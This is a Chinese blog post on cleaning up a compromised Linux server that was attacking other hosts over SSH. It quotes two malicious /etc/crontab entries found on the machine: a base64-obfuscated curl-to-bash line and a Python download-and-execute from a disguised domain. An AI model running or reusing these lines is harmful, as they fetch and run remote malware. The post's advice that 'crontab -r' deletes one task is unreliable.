Linux 22端口对外攻击解决
近日同事的服务器遭受到攻击,怀疑是由于上网环境不安全,服务器链接信息被劫持,植入病毒造成服务器告警,告警信息如下:
警告
您的账号(账号 ID: 100016685465,昵称:new)下的设备(IP:121.5.146.143),存在对其他服务器端口(TCP:22)的攻击行为,请您做好安全自查整改,并在 24 小时内停止上述行为。如逾期未处理,我们核实后将按相关法律法规和腾讯云服务协议要求对您停止服务。
从告警信息可以看出是我们的服务器对外发起了攻击,后来对外访问得 22 端口被禁用,缓解了这个问题,但是没有从根本解决,接下来记录一下如何解决问题。首先你看到得自己的服务器状况一定是这样的
面对进程占用我们可以 kill 掉,但还是会被重新启动,所以这种情况先检查是否有定时任务
# 显示 crontab 任务。
crontab -l
# 如果有非法定时任务删除他
crontab -r 任务
1
2
3
4
2
3
4
但是我查看后同事的服务没有任何定时文件在执行,那我们需要查看 /etc/crontab 是否有非法定时任务
* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash
* * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.\\c\\l\\u-e\\.e\\u/t.sh').read()" >.1;chmod +x .1;./.1
1
2
2
以上内容可以看到有两个定时任务一直再跑,其中一个一直在下载文件并且执行,此时我们干掉这两个任务,我在注掉这两个任务提示我
注意
/etc/crontab" E514: write error (file system full?) 系统文件已满
此时需要删除一些文件释放空间以对以上内容进行保存
# 查看哪个文件占用较大可以删掉
du -sh 文件
1
2
2
以上完成后,重新启动定时任务
systemctl restart crond.service
1
找到进程所在文件,删除文件,停止进程
ps -ef | grep 18732
1
以上操作下来如果还有问题,那么可能需要排查所运行的服务是否有异常,比如 docker 是否有重复容器被启动等
上次更新: 4/1/2025, 5:03:02 PM